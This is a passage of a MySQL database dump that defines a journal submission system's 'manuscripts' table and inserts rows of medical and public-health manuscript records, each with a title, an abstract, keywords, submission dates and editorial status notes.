  `m_topics` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_date` date NOT NULL,
  `old_m_date` date DEFAULT NULL,
  `m_status` varchar(25) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT 'Submitted',
  `ms_id` int DEFAULT '5',
  `m_days` int DEFAULT NULL,
  `m_status_date` date DEFAULT NULL,
  `m_editor_feedback` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_active` int NOT NULL DEFAULT '1',
  `m_assigned_status` int NOT NULL DEFAULT '0',
  `m_view` varchar(6) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT '1',
  `editor_feedback` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `rec_type` tinyint NOT NULL DEFAULT '0',
  `conf_id` varchar(10) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `pc_email` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `fup_stat` tinyint(1) DEFAULT NULL,
  `publish_stat` tinyint(1) NOT NULL DEFAULT '0',
  `rp_fup_stat` tinyint(1) NOT NULL DEFAULT '0',
  `change_rp` tinyint(1) NOT NULL DEFAULT '0',
  `author_sct` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `self_write` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`m_id`),
  KEY `FK_manuscripts` (`a_id`),
  KEY `index_a_id` (`a_id`),
  KEY `index_j_id` (`j_id`),
  KEY `index_articletype_id` (`articletype_id`),
  KEY `index_ms_id` (`ms_id`),
  KEY `index_m_active` (`m_active`),
  KEY `index_m_assigned_status` (`m_assigned_status`),
  KEY `index_m_view` (`m_view`),
  KEY `index_m_id` (`m_id`),
  KEY `index_fup_stat` (`fup_stat`)
) ENGINE=InnoDB AUTO_INCREMENT=14911 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `manuscripts`
--

LOCK TABLES `manuscripts` WRITE;
/*!40000 ALTER TABLE `manuscripts` DISABLE KEYS */;
INSERT INTO `manuscripts` VALUES (422,496,45,0,'iphsj-19-422','The Wound Dressings and Their Applications in Wound Healing and Management',NULL,15,0,NULL,'A wound could happen at any accident or surgery. Generally, bleeding wounds, serious wounds and infectious wounds need to be taken care for recovery and in case of germ infection. Wound recovery and management is a complicated and collaborative process, including wound pre-cleaning, wound healing, infectious prevention, germ treatment and treatment strategy. The application of wound dressings play very critical roles in wound healing and infectious prevention. There are many different types of wound dressings such as silver-containing hydrophilic fiber dressings, antibacterial dressings, moist dressings. These dressings display their own advantages and disadvantages in wound treatments. As burn surgeons, we have to deal with many different patients with different burn conditions every day. To us, it would be very important and helpful to have a good or right type of dressing at the right time for the right wound situation.  In this article, we will discuss different wound dressings and their applications in wound treatment and recovery.','Wound, would infection, wound dressings, hydrogel dressings, antimicrobial dressings',384,NULL,'2019-07-18',NULL,'Submitted',2,NULL,'2019-08-12',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(423,498,45,0,'iphsj-19-423','Sonographic Quantification of Abdominal Adipose Tissues Thickness in Hypertensive Obese Yoruba tribe in Lagos State, Nigeria',NULL,14,0,NULL,'Background: This study was designed to quantify abdominal adipose tissue thickness in hypertensive obese subjects using ultrasound and correlate it with biochemical and anthropometric parameters to establish reference range values for adipose tissue thickness in these subjects in this locality. Materials and Methods: A prospective study design was adopted in this study and it was conducted at Esteem Diagnostic Medical Services Limited (EDMSL) Lagos State, Nigeria. Ethical approval was obtained from Research Ethics Committee of EDMSL. An informed consent was also obtained from each patient. Information obtained from the patients was treated with high level of confidentiality.  A convenience sample size of 112 volunteers was recruited in this study. Standard protocols and parameters were used to obtain the data. Data were processed and analyzed using SPSS version 20, descriptive and inferential statistics. Statistical significance was set at p < 0.05.Results: The study population consisted of 41.96% (n=47) males and 58.04% (n=65) females with age mean of 41.4±10.2 years. The SAT and VAT mean ± SD and p-values for male and female subjects were (SAT=30.93±7.97mm, p=0.012, and SAT=37.08 ± 14.42mm, p=0.617) for male and female respectively while the (VAT=73.00±8.61mm, p=0.214 and VAT=71.61±17.40, p=0.006) for male and female respectively. The correlation of VAT with age, BMI, lipid profile and fasting blood sugar levels in male and female hypertensive subjects were assessed and the results showed VAT(Age: Male, r=0.122, p=0.416, female, r=0.082, p=0.517), VAT(LDL: Male, r=0.092, p=0.541, Female, r=0.112,p=0.375), VAT(HDL: Male, r=0.049, p=0.745, Female, r=0.198, p=0.113). Conclusion: Female preponderance was noted in this study. Male subjects had higher values of VAT thickness than their female counterparts, while females were seen with higher values of SAT thickness than their male counterparts. Higher value of blood sugar increases VAT and SAT thickness in female obese subjects more than in male obese subject.','Abdominal adipose tissues, hypertensive, obese',385,NULL,'2019-07-18',NULL,'Submitted',2,NULL,'2019-08-12',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(425,498,45,0,'iphsj-19-425','Lunotriquetral coalition: an infrequent cause of wrist pain- A case report',NULL,2,0,NULL,'Lunotriquetral coalition refers to fusion of the lunate and triquetrial bones of the wrist and is the most frequent type of carpal coalition. Carpal coalition is rare and is considered a normal anatomic variant. It is frequently asymptomatic and often discovered as an incidental finding. Nonetheless, lunotriquetral coalition is a recognize cause of wrist pain. Highest prevalence of carpal coalition has been observed in blacks especially of West African descent. In this paper, we present two cases of lunotriquetral coalition discovered incidentally in patients who presented for plain radiographs of the hand for unrelated reasons, to highlight this congenital defect which can easily be missed by an uninformed radiologist. We also reviewed related literature in order to evaluate the features of this type of defect, as well as its significance to clinical practice. Radiography is an important tool to diagnose this anomaly. Awareness of this normal variant of the carpal bone as a potential cause of medial wrist pain is imperative to accurate diagnosis and management of this condition.','Diagnosis, Lunotriquetral coalition, Plain radiography',386,NULL,'2019-07-18',NULL,'Submitted',2,NULL,'2019-08-12',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(427,499,45,0,'iphsj-19-427','Major Approaches On The CAD/CAM System In Prosthodontics And Implants: A Review',NULL,15,0,NULL,'Introduction: Since 1980s, the use of CAD/CAM (Computer Aided Design/Computer Aided Manufacturing) systems in dentistry came into force. The CAD/CAM system was introduced in dentistry with the purpose of promoting the manufacture of prostheses based on the last generation three-dimensional system. Objective: The present work aimed to present the main benefits of the CAD/CAM system for the creation of dental prostheses, making historical research and its relevance in contemporary dentistry. Methods: Experimental and clinical studies were included (case reports, retrospective, prospective and randomized trials) with qualitative and / or quantitative analysis. The words were included Dental implants, Dental Prostheses and CAD/CAM system. Conclusion: The use of digital tools for the automated manufacturing of implant and prosthesis parts (CAD/CAM system) is a viable reality in dentistry. This system produces high-quality, standardized, accurate prosthetic restorations with perfect detail.','Dental Implant, CAD/CAM System, Dental Prosthesis, Clinical Research',387,NULL,'2019-07-18',NULL,'Submitted',2,NULL,'2019-08-12',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(428,499,45,0,'iphsj-19-428','Epidemiological Profile Of Victims Of Motorcycle Accident In The Emergency Of A University Hospital',NULL,14,0,NULL,'Introduction: Traffic accidents are considered a major problem for public health in the world, being one of the main causes of morbidity and mortality. Mortality among motorcyclists in Brazil jumped by 700% between 1998 and 2008 and was therefore responsible for a substantial increase in the number of hospitalizations in public services. In 2000, 16,692 hospitalizations were registered, already in 2005 this number increased to 30,562 (83%). Objective: To evaluate the epidemiological profile of motorcycle accidents victims in a metropolis with more than one million inhabitants attended in a university hospital of reference in the year 2017. Methodology: a Retrospective study through the analysis of medical records of 105 victims of motorcycle accidents in Campinas (SP) in the year 2017 (January to December of 2017) attended in a university hospital of reference and who needed a surgical procedure. Results: Of the 105 patients analyzed, 87 (82.9%) were male and 18 (17.1%) were female. The average cost of hospitalization was R $ 27,781.00, ranging from R $ 3,101.00 to R $ 225,000.00. Among the victims, 61 (58.1%) had polyfractures and 14 (13.3%) polytrauma. The tibia fracture was the most frequent, present in 65 cases (61.9%), followed by femur and fibula with 30 cases each (28.5%) and radio and humerus with six cases (11.4%). Exposed fractures occurred in 68 patients (64.7%). Among the victims of polytraumatism, the most frequent injury was traumatic brain injury (TBI), present in seven patients (6.6%). Infections were observed in 49 patients (46.6%). The mean age was 29.8 years (ranging from 6-63 years). The mean length of hospital stay was 14 days (1-87). Conclusion: In view of the significant growth of the fleet of motorcycles, the high incidence of traffic accidents involving these vehicles, especially among young males, and the great morbidity and mortality resulting from them, it is essential to investigate and evaluate the epidemiological profile of the victims , as well as the resulting diseases, in order to provide adequate subsidy for the implementation of primary prevention and awareness measures, especially directed to the most affected groups.','Epidemiology, Accidents, Motorcycle accidents, University hospital',388,NULL,'2019-07-18',NULL,'Submitted',4,NULL,'2019-07-29',NULL,1,1,'1','',0,NULL,NULL,2,0,0,0,NULL,0),(429,499,45,0,'iphsj-19-429','Major Approaches of Orthognathic Surgery in Obstructive Sleep Apnea Syndrome: A Systematic Review',NULL,15,0,NULL,'Introduction: In the scenario of Obstructive Sleep Apnea Syndrome (OSAS), Orthognathic Surgery (OS) corrected the deformities of the maxillary and mandibular bones OS has evolved a lot in the last two decades. OS treats patients with moderate and severe facial deformities, allowing the achievement of functional balance and harmony in facial aesthetics. Objective: To present the current findings of the importance of orthognathic surgery in the treatment of obstructive sleep apnea syndrome. Methods: A total of 34 articles were found involving mesh terms about Orthognathic Surgery and OSAS. Initially, it was held the exclusion existing title and duplications following the interest described this work. After this process, the summaries were evaluated, and a new exclusion was held. Thus, 17 articles were included and discussed in this study. Major considerations and conclusion: In recent years, with the involvement and deepening of oral medicine in the diagnosis and treatment of OSAS, the role of OS in OSAS has become increasingly recognized. Early appropriate diagnosis and treatment can significantly improve patients\' quality of life, reduce sudden death, and prevent various complications. OS corrects maxillofacial deformities through an incision of the upper and lower jaws, has a significant relief effect on the symptoms of OSAS in patients with upper airway stenosis, especially in small mandibular patients.','Orthognathic Surgery, Obstructive Sleep Apnea Syndrome, Malocclusion, Quality of life',389,NULL,'2019-07-18',NULL,'Submitted',2,NULL,'2019-08-27',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(430,499,45,0,'iphsj-19-430','Perception of women incarcerated about their needs in the prison environment: A Observational Study',NULL,14,0,NULL,'Introduction: Prisons constitute a great governmental opportunity to re-socialize people deprived of their liberty who are on the margins of society and thus provide social ascension and prevent recidivism. Objective: To assess self-reported needs by re-socialized within the prison environment. Methodology: Qualitative and quantitative analysis of these women\'s statements in relation to the question: \"If you could do something, what would you do first, so that the lives of all women would improve?\" Initially, a quantitative analysis was performed and the qualitative analysis was chosen by the technique of content analysis, focused on the meaning and the experiences of the re-socialized of the object in question, whose meanings were expressed directly through their speeches. Results: Of the 1013 interviewees, 27% said that the penitentiary should offer work, 14.5% would like to have health care in the prison environment, 11.9% said that food should be better. Other needs include education. Conclusion: The results show that women crave for work, health care and better quality food, conditions included in the National Policy of Integral Attention to Persons Deprived of Liberty that if respected could contribute to the insertion of these women more qualified in society, and then would live up to the term re-socialized.','Women\'s Penitentiary, Women\'s health',389,NULL,'2019-07-18',NULL,'Submitted',13,NULL,'2023-05-19',NULL,1,1,'1','withdrawn',0,NULL,NULL,4,0,0,0,NULL,0),(453,524,86,0,'ipaom-19-453','Peri-procedural, non-invasive hemodynamic monitoring in TAVI-patients - Potential impact on patient selection and outcome prediction ',NULL,14,0,NULL,'Objectives and Background:  To investigate short-term hemodynamic improvement following transcatheter aortic valve implantation (TAVI) in patients with severe aortic valve stenosis (AS) using the non-invasive NICaS® whole body electrical bio-impedance monitoring system.\r\nMethods and Results: 52 unselected patients subjected to TAVI were analysed between January and September 2018. Endovascular TAVI was applied in local anaesthesia and analgosedation in all patients using the Medtronic Evolut R® (n=32), Edwards Sapien 3® (n=14) or Boston Scientific SYMETIS ACURATE neoâ„¢ TF® (n=4) system. NICaS® measurements were performed at baseline, six to eight hours after TAVI procedure and before discharge. \r\nWhen comparing discharge to baseline, there was a successful increase in cardiac output (CO) from 5.01±1.62 to 5.73±1.41 L/min (P = 0.009) corresponding to a cardiac index (CI) increase from 2.64±0.80 to 3.13±0.83 L/min/m² (P = 0.002) and of increase in cardiac power index (CPI) from 0.53±0.18 to 0.61±0.16 w/m² (P = 0.008). Additionally, total peripheral resistance (TPR) significantly decrease from 1597.58±624.92 to 1291.29±450.12 dynes*s/cm5 (P = 0.0045) corresponding to a total peripheral resistance index (TPRI) decrease from 2968.88±1078.78 to 2436.72±902.37 dynes*s/cm5/m² (P = 0.006).    \r\nConclusion:  Non-invasive hemodynamic measurements with NICaS® represent an accurate bedside-tool for monitoring short-term adaptive hemodynamic changes in unselected patients subjected to TAVI. Thus, results can be easily used for tailored peri-procedural management early patients´ mobilisation and discharge planning.','Transcatheter aortic valve implantation (TAVI); Aortic valve stenosis (AS), Non-invasive whole body electrical bio-impedance measurements; NICaS®; In-hospital hemodynamic outcomes',409,NULL,'2019-07-19',NULL,'Submitted',2,NULL,'2019-09-19',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(548,637,45,0,'iphsj-19-548','Factors Influencing Absenteeism Among Nursing Staff In The Primary Health Care Centers In Hail: A Preliminary Study For Enhancing Staff Commitment',NULL,14,0,NULL,'Background: Absenteeism is a term generally used to refer to unscheduled employee absences from the workplace. It has been one of the most common causes of staff shortage in healthcare setting which significantly affect the delivery of quality healthcare servicesand reflects non-satisfaction of the nursing staff.\r\nStudy aim: This study aims to assess factors influencing absenteeism in the primary health care centers (PHCC) in Hail region in the KSA.  \r\nMethods: This descriptive study was conducted in a sample of 110 nurses working at PHCC in Hail, KSA. The study instrument included eight demographic questions , five close-ended question on level of staff satisfaction and twelve close-ended question on commitment scale using Likert Scale.The second part of the questionnaire is the level of satisfaction of working in the PHCC which includes: clinical practice, general relationship in the unit, teamwork and leadership in the unit, process of resolving conflicts in the unit and work motivation in the unit.The third part is the level of disagreement and agreement in three categories of commitment scale: affective, continuance and normative commitment scale questionnaire sheet. \r\nResults: a total of 110 participants joined the study and the majority of them were male, married and fall between 35 – 39 years old. Factors influencing absenteeism health problem (40%), working environment (24.5%), personal and family problem (24.5%), and stress (10.9%). Level of satisfactions and organizations commitments revealed that the majority of participants were dissatisfied or disagreed with the majority of components related to these both factors.  \r\nConclusion:Nurses were found to have lack of commitment to their present job/work and are extremely dissatisfied/disregarded their administrative role and showed low level of satisfaction.','Staff Nurses, Absenteeism, Rates, Hail, Factor',456,NULL,'2019-07-23',NULL,'Submitted',2,NULL,'2019-08-12',NULL,1,1,'0','',0,NULL,NULL,NULL,0,0,0,NULL,0),(549,499,45,0,'iphsj-19-549','Investigation of the Presence of Heavy Metals and Other Contaminants in Labor Cosmetics and Their Health Risks in General',NULL,14,0,NULL,'Introduction: Lipstick is one of the dermo-cosmetics most used by people around the world for a non-medicinal product that stays for a long time in direct contact with the lips, this industrialized product has compounds that when in excess, can accumulate in the organism, injure organs and can trigger malignant neoplasms, neuropathologies and other pathologies resulting from toxicities. In Brazil, the quality of these lip cosmetics is regulated by ANVISA (National Agency of Sanitary Surveillance), and the products made available in our national market, domestic or imported, must be evaluated and approved by INMETRO (National Institute of Metrology, Quality, and Technology) and IPEN (Institute of Energy and Nuclear Research). Lead, cadmium, chromium, arsenic, mercury, aluminum, manganese, titanium, and phthalates are heavy metals often used by the cosmetic industry to improve the structure, color, density, creosity and fixity of these products and depending on the concentration can be absorbed by the organism with systemic cumulative effects. Presumably, low-quality products can present some toxic elements in their composition, such as dyes, stabilizers, thickeners and fixatives that are often prohibited in our country and may represent a risk of systemic contamination and serious health problems. Objective: It analyzed the safety of the use of lipsticks sold in the official Brazilian market, the concentration or not of these heavy metals. Results: The concentration of heavy metals are the main contaminants of lipsticks but only a small group of products studied do not meet the specifications required by the agencies, but they were withdrawn from the market. Conclusion: The use of lipsticks produced in Brazil sold in official stores and those officially imported by official channels do not pose a risk to Brazilian consumers, but the same can not be said of those imported illegally or produced by companies not registered with ANVISA.','Contaminants, Heavy metals, Lipsticks',457,NULL,'2019-07-23',NULL,'Submitted',2,NULL,'2019-08-12',NULL,1,1,'1','',0,NULL,NULL,NULL,0,0,0,NULL,0),(555,617,85,0,'iphspr-19-555','Evaluating the impact of the National Adolescent Health Strategic Plan on Adolescent Sexual Reproductive Health Services in Zambia: A qualitative study',NULL,14,0,NULL,'Abstract\r\nIntroduction: In 2011, the government of Zambia implemented the National Adolescent Health Strategic Plan 2011-2015 which aimed at addressing adolescent health problems in a comprehensive and consistent manner. Thus far, no formal evaluation has been conducted and it remains unclear whether interventions which were implemented had led to improved access to the services by adolescents. Using the WHO six building blocks framework for health system strengthening, the study sought to qualitatively evaluate the achievements of the 5-year strategic plan and draw generalizable knowledge for best practices for improving adolescent reproductive health in Low Middle Income Country (LMIC) settings. \r\nMethods: To provide insight into the implementation of the strategic plan in relation to the six building blocks a qualitative case study approach was adopted for this evaluation. Twenty one (21) Key Informant Interviews (KIIs) were conducted with key stakeholders involved in the implementation process at different levels in the health system in Zambia. Thematic analysis using the WHO building blocks framework was used to analyse data. NVivo 11 was used to aid coding, management and analysis.\r\nResults: Close linkages across the six building blocks of the health system were observed.  Observed weaknesses in one building block affected other health system building blocks negatively. Nonetheless, some successes were also reported including consistence and standardised packages for Adolescent Sexual Reproductive Health Services (ASRH), health worker training in ASRH, use of data for decision making, and better policy harmonisation. The major barriers to the implementation were inadequate infrastructure, funding and human resources.\r\nConclusion: The major barriers to implementation included inadequate human resources and funding which negatively affected service delivery. However positive trends were noted in health worker training and policy environment.\r\n\r\n\r\nKey Words: Adolescent Sexual Reproductive Health, Strategic Plan, Health System\r\n','Adolescent Sexual Reproductive Health, Strategic Plan, Health System',471,NULL,'2019-07-23',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(557,619,85,0,'iphspr-19-557','Mid-Term Assessment of Maternal Care Assistance Program Implementation in Leyte Province, 2014-2017 in terms of Facility-Based Delivery, Maternal Mortality Ratio, and Infant Mortality Rate',NULL,14,0,NULL,'With extremely high maternal mortality rate (MMR) in Asia-Pacific, the Philippines started the MCAP (Maternal Care Assistance Program) on 2014. The main objective of this study is to assess at to what point does the program affect FBD (facility-based delivery), MMR (maternal mortality ratio) and IMR (infant mortality rate) specifically in Leyte which showed irregular figures in FBD, MMR and IMR. With a sample size of 37 RHUs (rural health unit), there was an increasing trend in FBD with year 2014 significantly different from years 2016 (U=476.5, Z=-2.256, p<0.05) and 2017 (U=435, Z=-2.714, p<0.05). For MMR, the trend is decreasing at some years but were statistically insignificant (X^2=1.010, df=3, p>0,05). For IMR, the trend is somehow increasing but is not statistically different across all years (X^2=6.723, df=3, p>0,05). MCAP components have insignificant relationship with FBD whereas MCAP component cash incentive given to health worker volunteers (HWVs) showed significant indirect relationship for MMR and IMR.','Maternal care assistance program; facility-based delivery; maternal mortality ratio; infant mortality rate',472,NULL,'2019-07-23',NULL,'Submitted',4,NULL,'2020-05-20',NULL,1,1,'1',' ',0,NULL,NULL,2,0,0,0,NULL,0),(563,656,45,0,'iphsj-19-563','Catheterization associated Urinary tract infection in Tertiary Hospital ',NULL,14,0,NULL,'Background: Catheter associated urinary tract infection (CAUTI) is one of the most common hospital acquired infection and causes problems in hospitalized patients. \r\nObjectives: To review the overall occurrence of CAUTI, the demographic, clinical data and to determine the causative microorganisms of CAUTI in patients admitted in medical wards and intensive care unit (ICU) in KFHH secondary and tertiary hospital and to provide recommendations for prevention.\r\nMethods: This is cross-sectional prospective study of Cather Associated Urinary Tract Infection (CAUTI) in medical wards and intensive care units. Only adult patient were included in this study. The data were collected from the patients ‘medical records.\r\nResults: About 30 % of patients developed CAUTI; the majority of them located in general wards. Although female had more CAUTI compared to male (33% versus 20%; P= 0.07) but the difference was not statistically significant. The most common isolated organisms among patients with CAUTI were:  yeast, (44%) Candida (19%), E-coli, (12%) and pseudomonas (7%). Isolated MDR organisms consisted about 10% of total isolated organism and most common isolated MDR organism is Vancomycin-Resistant Enterococci (VRE) 50% from total MDR. \r\nThe most commonly used antibiotics for CAUTI in these patients were; ceftriaxone, linezolid, Carbepenem and Fluconazole. \r\nConclusion: CAUTI was most common in patients admitted in wards than ICU. Approximately one third of patients had CAUTI. Majority of patients had no urinary symptoms. There was statistically significance difference in occurrence of CAUTI between female and male. Candida was the most common isolated microorganisms among patients with CAUTI.\r\n',' Urinary catheter, urinary tract infection, ICU, ward, bacteria ',388,NULL,'2019-07-23',NULL,'Submitted',4,NULL,'2019-08-28',NULL,1,1,'0','',0,NULL,NULL,1,0,0,0,NULL,0),(602,702,73,0,'ipjnn-19-602','NMDA antagonist ketamine induces significant hyperactivity and prepulse inhibition deficits in Gunn rats: a possible hyperbilirubinemia-induced animal model of schizophrenia',NULL,14,0,NULL,'Objective: The Gunn rat, which is a mutant of the Wistar strain, has a genetic deficiency in glucuronyltransferase leading to unconjugated hyperbilirubinemia. The Gunn rat has potential as a schizophrenia animal model. Ketamine is widely accepted as a dissociative anesthetic, affecting glutamatergic activity via blockade of the N-methyl-d-aspartate (NMDA) receptor, which produces behavioral symptoms and cognitive deficits in healthy controls that resemble some symptoms of schizophrenia. \r\nMethod: We compared the sensitivity of Gunn and Wistar rats to the NMDA antagonist ketamine in behavioral tests. The behaviors assayed in the study were open-field test locomotor activity and prepulse inhibition (PPI). The administration route was intraperitoneal injection for each. \r\nResult: Gunn rats were affected by acute and chronic UCB neurotoxicity and is more vulnerable to the effects of NMDA antagonists than Wistar rats in regard to the open-field test locomotor activity. \r\nConclusion: It is possible to suppose the discrepancy between ketamine-induced behavioral changes in Gunn and Wistar rats in this study is attributed to differences in the sensitivity of the NMDA receptors in the rat strains.','NMDA antagonist, ketamine, schizophrenia, hyperbilirubinemia, Gunn rat',508,NULL,'2019-07-25',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','send the manuscript to the author for revision',0,NULL,NULL,2,0,0,0,NULL,0),(613,718,73,0,'ipjnn-19-613','A case of upper cervical spinal cord infarction presented a sudden onset of severe occipital headache followed with an occipital neuralgia',NULL,2,0,NULL,'A 78-year-old man suddenly developed a severe occipital headache, followed by right greater occipital neuralgia (ON). Brain MR imaging revealed a spinal cord infarction in the territory of the right posterior spinal artery (PSA) at the C2 level without vertebral artery (VA) dissection. Even without VA dissection, upper cervical PSA syndrome could cause severe occipital headache. Furthermore, ipsilateral ON could follow it. The present case suggests that severe occipital headache and ON can occur in a patient with upper cervical PSA syndrome without VA dissection.','spinal cord infarction, posterior spinal artery, headache, occipital neuralgia',341,NULL,'2019-07-25',NULL,'Submitted',2,NULL,'2019-08-02',NULL,1,1,'0','Author has revised the manuscript according to the review comments. Hence it is accepted for publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(627,737,73,0,'ipjnn-19-627','Severe Guillain-Barré syndrome following Shingrix® vaccine administration ',NULL,2,0,NULL,'Title Severe Guillain-Barré Syndrome following Shingrix® vaccine administration Authors Rina Yadav, Drew Hundley, D.O., Lannie Cation, M.D. Department of Internal Medicine, St. Vincent Hospital, Indianapolis, IN Introduction Guillain-Barré syndrome (GBS) is a rare life threatening acute polyradiculoneuropathy with variable clinical presentations, including weakness, paresthesias, diminished deep tendon reflex, hyponatremia, dysautonomia, and a cytoalbuminological dissociation on cerebral spinal fluid analysis. The exact etiology remains unknown, but is thought to occur as a post-infective immune-mediated process. Vaccines and illnesses, including H1N1 Swine Flu vaccine, pneumococcal vaccine, Campylobacter jejuni bacteria, cytomegalovirus, and herpes zoster virus, have been associated with GBS. One vaccine that has not been identified to cause GBS is the newly released Shingrix® vaccine for herpes zoster infection prevention. We present a case of severe GBS following Shingrix® vaccine immunization. Case Presentation Patient is a 76-year-old Caucasian female with a history of hyperlipidemia, asthma, macular degeneration, and 2 episodes of pancreatitis, who initially presented with a two-day history of proximal lower extremity weakness. She denied recent camping, hiking, insect bites, history of neuropathy, or myopathy. She did report a mild respiratory infection 10 weeks before admission and that she had received the new Shingrix® vaccine 10 days before hospitalization. On presentation, the patient’s vital signs were normal. Physical exam was unremarkable except for 3/5 bilateral lower extremity hip flexion strength and absent Patellar and Achilles tendon reflexes bilaterally. A lumbar CSF analysis revealed an elevated protein level (61mg/dL) and a cytoalbuminogenic dissociation. The patient began IVIG on day 2. Patient initially improved after 5 days of IVIG and physical therapy. On discharge, the patient’s patellar and Achilles reflexes remained absent, but the patient was able to stand and ambulate with a walker. Five days later, the patient returned with increased lower extremity pain and inability to stand. The patient was treated with Gabapentin and Amitriptyline. She became hyponatremic (133 mmol/L dropping to 122 mmol/L), had fluctuations in her blood pressure (110/67mmHg to 182/88mmHg), with increasing weakness, and pain. Plasma exchange was discussed on day 11 from first admission. Patient declined treatment due to recent IVIG treatment. She further deteriorated and therefore began plasma exchange on day 26. After 5 plasma exchange treatments, the patient could ambulate with a walker and her neuropathic pain improved. She was discharged to an intensive rehabilitation center. Discussion We present a case of GBS occurring 10 days after Shingrix® vaccination. The patient displayed key features of GBS. While there are vaccines documented to cause GBS, the newly released Shingrix® vaccine has not been one of them. Shingrix® is growing in popularity because it protects against herpes zoster and post-herpetic neuralgia. Clinicians should be cognizant of the possible association between GBS and the Shingrix® vaccine.','Guillain-Barré Syndrome, Shingrix® vaccine, polyradiculoneuropathy, cytoalbuminogenic dissociation',326,NULL,'2019-07-26',NULL,'Submitted',2,NULL,'2019-08-23',NULL,1,1,'0','Accepted! please send the manuscript back to the author for further revision.',0,NULL,NULL,NULL,0,0,0,NULL,0),(628,738,73,0,'ipjnn-19-628','Comparative Effects of Imipramine and Chlorpromazine on Neurobehavioural Parameters in Stressed Mice',NULL,14,0,NULL,'Comparative effect of imipramine (25mg/kg) and chlorpromazine (10mg/kg) on social behaviour, depression and anxiety on stressed mice was studied. This study compared the effects of these drugs on neurobehavioral parameters. Fourty (40) male albino mice were used. They were divided into four (4) groups, n = 10, (control, stressed, stressed imipramine treated group, and stressed chlorpromazine treated group. The stress method used was total social isolation and unpredicted stress protocols. Only the mice in control group were put together in one single cage that was properly ventilated and the the animals given free access to water and normal mice feed. The experiment lasted for fourty two (42) days; the experimental groups were all stressed for 28 days after which drugs were administered for 14 days, and neurobehavioural test carried out within 24 hours after the last administration. The results showed significant decrease in social behavioural test (nesting) (P<0.001) in both stressed and stressed-chlorpromazine treated groups when compared to the control and stressed-imipramine treated groups, while the stressed-imipramine treated group showed significant decrease (P<0.05) when compared to the control. Also, the results obtained from the depression test showed significant decrease (P<0.001) in all the test groups when compared to the control. But the stressed-imipramine treated group showed significant improvement (increase) (P<0.05) when compared to both stressed and stressed-chlorpromazine treated groups. The anxieolitic test shows significant increase (P<0.01) in the grooming frequency of stressed and stressed-chlorpromazine groups in open field maze when compared to both control and stressed-imipramine treated groups. Stressed-imipramine treated group also showed significant increase (P<0.001) in grooming frequency when compared with the control. The neurobehavioural studies shows that stress can cause reduced social activities, depression symptoms and anxiety disorder, and imipramine can significantly restore some of these neurobehavioural activities better than chlorpromazine will do.','Stress, Anxiety, Imipramine, Chlorpromazine, and Social Behaviour',358,NULL,'2019-07-26',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','It is advised to revise the manuscript according to the review comments.',0,NULL,NULL,2,0,0,0,NULL,0),(629,739,73,0,'ipjnn-19-629','A registry of maternal and fetal outcomes in pregnant epileptic Women from Pakistan',NULL,14,0,NULL,'Introduction: An important issue in female patients with epilepsy is the effects of Epilepsy and AEDS on both the mother and fetus with various complications during pregnancy and peripartum period. Pregnancy may also affect the seizure control in variable ways. In order to address these issues large national and multi-national registries are required especially in developing world. Purpose of this registry is to collect local demographics and also plan the strategies required for the improvement in reproductive health services. Methodology: This is a prospective, cross-sectional, observational ongoing analysis, with follow up of pregnant women with epilepsy (WWE) who presented in neurology outpatient clinic. The demographic data on disease and the AEDS were recorded in a structured Performa. Data was analyzed using standard statistical soft ware spss version 20. Results: There were 65 patients with mean age 27.5±5.02. Most common diagnosis was IGE followed by genetic focal epilepsy. Most common Maternal complications was vaginal bleed (n=6) followed by abortion, hyperemesis gravidarum eclempsia, oligohydromnias (n=1) each. Fetal distress was observed in 3 cases, and 1 case of each of the premature birth, IUGR, IUD and CDH were seen. Most common drug used was Lamotrigene followed by Levateracetem while polytherapy was used by 15 patients. Conclusion: Awareness about the impact of epilepsy and AEDs on the maternal and fetal outcomes in pregnancy is important. Improvement in reproductive health services in such patients with good liaison between neurology and obstetrical department should be emphasized to improve the outcome.','Epilepsy, Pregnancy, Fetal distress, Peripartum, Preconception',336,NULL,'2019-07-26',NULL,'Submitted',2,NULL,'2019-09-20',NULL,1,1,'0','As the author has revised the manuscript according to the review comments, it is recommended for publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(630,740,73,0,'ipjnn-19-630','CYBERPSYCHOLOGY: A SIMPLE OVERVIEW OF ADDICTIVE BEHAVIOR',NULL,11,0,NULL,'Addiction is considered an excessive and pathological behavior that causes dependence and restricts freedom. Although the concept of addiction has been generally attributed to the consumption of substances, different authors have found a series of potentially addictive behaviors that do not involve the use of drugs. These behaviors have been related to socially acceptable activities such as gambling, sex, work, shopping and Internet use. These addictions that do not involve chemicals have been called addictive behaviors.','addiction; behavior; technology; internet; overview',352,NULL,'2019-07-26',NULL,'Submitted',2,NULL,'2020-02-04',NULL,1,1,'0','accept for publishing',0,NULL,NULL,NULL,0,0,0,NULL,0),(631,740,73,0,'ipjnn-19-631','CYBERPSYCHOLOGY: A RAPID OVERVIEW OF SEXTING',NULL,11,0,NULL,'Technology has revolutionized interpersonal relationships in many ways, including sexuality. Due to the interactivity that exists on the Internet and the accessibility of current devices, it is increasingly popular to experience sexuality through technology. The term sexting originates from the practice of sex (sex) through text messages (texting).','sexting; 